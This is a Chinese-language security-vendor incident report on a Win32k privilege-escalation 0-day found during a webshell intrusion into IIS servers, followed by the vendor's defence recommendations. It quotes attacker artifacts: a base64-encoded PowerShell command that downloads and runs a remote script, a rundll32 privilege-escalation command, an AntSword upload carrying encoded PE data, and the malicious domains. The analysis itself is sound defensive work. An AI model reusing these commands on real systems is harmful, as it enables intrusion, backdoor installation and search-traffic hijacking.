阿里云云安全中心捕获Win32k组件0day

引言

2019年04月09日,微软发布Windows的补丁更新,修复了一个存在于Win32k组件中的提权漏洞。该漏洞影响了Windows 7、Windows8、Windows 10,以及Windows Server等多个系统版本,攻击者可利用此漏洞,在内核模式下执行任意代码,将一个低权限账户提升至管理员权限。该漏洞最早由阿里云安全团队捕获,2019年1月,阿里云安全中心监控到服务器上存在大量的异常行为,随后启动调查分析,最终确认了该事件过程中使用了未公开的0day漏洞,将该0day漏洞提交给微软,获得微软的确认并致谢。

事件分析

2019年01月28日,阿里云云安全中心发现一用户多台ECS下出现大量的相同的Webshell文件以及异常指令告警,疑似被利用漏洞批量入侵。在与用户沟通后,阿里云安全中心对告警进一步分析,黑客的入侵后主要的恶意行为有:

  1. 批量篡改用户Web目录下的文件,生成名为global.asa的Webshell文件;
  2. 执行恶意指令:
1
powershell -nop -exec bypass -EncodedCommand aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AawAuAGMAcABrAGoANQA1ADUANQAuAGMAbwBtAC8AYwBsAGUAYQBuAHUAcAAuAHAAcwAxACIAKQA=

以上指令会从 hxxp://k.cpkj5555.com/cleanup.ps1 下载恶意PowerShell脚本并执行。

该PowerShell脚本的主要内容如下:先通过域名dl.cpkj5555.com的TXT记录,动态获取后门DLL的最新下载地址,如果获取失败,则使用硬编码在脚本内的两个地址进行下载(hxxp://128.1.223.242/System.dll 和 hxxp://k.cpkj5555.com/System.dll),命名为HttpRequestRewrite.dll,再将该模块加载到IIS服务中。

对HttpRequestRewrite.dll进行分析,发现这个DLL文件会对IIS上的请求进行劫持,其劫持逻辑如下:

  1. 判断当前请求域名的TLD,如果是“gov.cn”或者“edu.cn”,则不进行劫持;
  2. 判断当前请求的URI,如果为以下列表中的一个,则不进行劫持;

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    /Default.htm
    /Default.asp
    /index.htm
    /index.html
    /default.aspx
    /index.php
    /index.aspx
    /index.asp
    /index.jsp
    /index.jspx
  3. 通过UA判断,如果命中内置的爬虫关键字,则进行劫持;

  4. 通过Referer判断,如果来源为搜索引擎,则进行劫持.
    劫持的具体表现为:在当前页面注入外部JS脚本:hxxp://cpkj5555.com/go.js ,通过js最终跳转到外部URL:hxxp://www.98586y.com/, 以达到SEO的目的。

用户的业务形态为:在ECS上通过Windows系统的账户体系,为各个用户创建独立的租户空间,相互隔离,提供独立的服务。云安全中心发现的Webshell文件以及异常指令,出现在多台ECS下的多个用户空间中,各用户的Web应用系统无明显共性,因此初步判断,是黑客通过某一租户的漏洞获取到Windows系统的普通用户权限,然后通过某种方式提升至管理员权限。

云安全中心对此进一步排查分析,定位到黑客的提权命令日志:

1
"F:/usr/LocalUser/***/App_Data/c.asp" /c "cd /d "C:\\Windows\\SysWOW64\\inetsrv"&powershell.exe -Command "& {set-location 'C:\Windows\SysWOW64\inetsrv\';rundll32.exe 2008.dll AddByGod grtfghgj6i456jhfdhfhgrtg56htgh C:\Windows\SysWOW64\inetsrv\1.bat}"&echo [S]&cd&echo [E]

经过对样本文件的分析,在当时Windows2008的最新版本中,可以从任意低权限用户提升至system,确认为Windows的0day漏洞,对其进一步分析后上报微软。

与此同时,云安全中心进一步定位攻击者的相关信息。由于启动上述提权命令的父进程是C:/Windows/SysWOW64/inetsrv/w3wp.exe,怀疑黑客是通过Webshell上传并执行的命令,通过日志分析被提权的服务器上的Web访问日志,发现在上文提权命令执行时间附近,存在如下的访问行为:

1
2
3
4
5
SRC_IP: 202.***.***.***
METHOD: POST
URL: www.****.com/1.asp
USER_AGENT: antSword/v2.0
POST_DATA: 0x2c9889f0897ba=433A2F57696E646F77732F537973574F5736342F696E65747372762F323030382E646C6C&0x56c0e2b456f2e=1&0xbe70edd85e206=4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000E641259CA2204BCFA2204BCFA2204BCFB9BDD5CFA3204BCFE471AACFBA204BCFE471ABCFC3204BCFE47194CFAA204BCF7FDF80CFA7204BCFA2204ACFF5204BCFA2204BCFA5204BCFAF7297CFA3204BCFAF7290CFA3204BCFAF7295CFA3204BCF52696368A2204BCF00000000000000005045000064860800A5ADA05B0000000000000000F00022200B020C000002010000E4010000000000146600000010000000000080010000000010000000020000060000000000000006000000000000000040030000040000000000000200600100001000000000000010000000000000000010000000000000100000000000000000000010000000C07F010043000000048001003C00000000200300E001000000F00200040B0000000000000000000000300300FC060000D0220100380000000000000000000000000000000000000000000

通过对数据包进行解码分析,可以看到,黑客通过一款名为蚁剑的Webshell管理软件,往Webshell所在的服务器上传了C:/Windows/SysWOW64/inetsrv/2008.dll。这个文件与前面提权所用到的2008.dll名字相符,由此可判断,202...***即为本次入侵行为中黑客所使用的IP。

安全建议

事前防御

安全是一个动态博弈的过程,为了使被入侵的风险降到最低,需要保持目前的系统、软件时刻处于最安全的状态。云安全中心的漏洞修复功能,目前提供了Linux软件漏洞、Windows系统漏洞、Web-CMS漏洞和应急漏洞等四类漏洞的检测和修复功能,并根据漏洞的危害程度,漏洞的公开时间,主机的网络环境以及主机的重要程度,自动计算出该漏洞修复的紧急程度。

本次事件中的漏洞目前已在检测范围之中。

事中检测

一个优秀的安全体系应该是层层设防的,针对已知的漏洞,可通过漏洞修复的方式进行解决,但对于类似本文中的0day漏洞,则需要一个威胁检测系统主动感知目前的安全态势。云安全中心的安全告警功能,通过收集主机、网络等日志,进行威胁建模。针对黑客攻击流程中的初始权限获取、代码执行、持久化、权限提升、检测逃避、认证信息获取、探测、水平移动、信息收集、数据抽取、中控通道等过程,建立特定的检测模型,主动发现异常行为。由于威胁建模是通过主机的行为进行检测,因此无论攻击者利用的是Nday还是0day进行攻击,只要主机上出现了恶意行为,云安全中心均能产出告警。目前安全告警共有13类的告警类型,175个威胁检测模型,覆盖了66个ATT&CK框架中的检测项。

事后回溯

安全告警是一个个的异常点,最后还需要将各个零散的异常点串联起来,还原出整条攻击链路。通过一条完整的攻击链路,安全运维人员才可以:

  1. 找出最初的攻击入口,制定对应的修复策略;
  2. 评估受影响的范围,及时止血;
  3. 定位到攻击者的IP或其他信息,做进一步处理等。
    云安全中心提供了告警溯源的功能:对于大多数的攻击事件,云安全中心会自动帮其分析对应的日志,以图的方式还原出整条入侵链路,供安全运维人员查看入侵原因、攻击源IP、HTTP请求详情、攻击手法,排查方案等详细内容。

    当然,具有一定安全经验的用户也可以开启云安全中心的日志分析的功能,手动进行排查分析。日志分析记录了与用户资产相关的安全日志、网络日志、主机日志3大类14子类的日志,基本涵盖了入侵过程中可能涉及到的各类日志。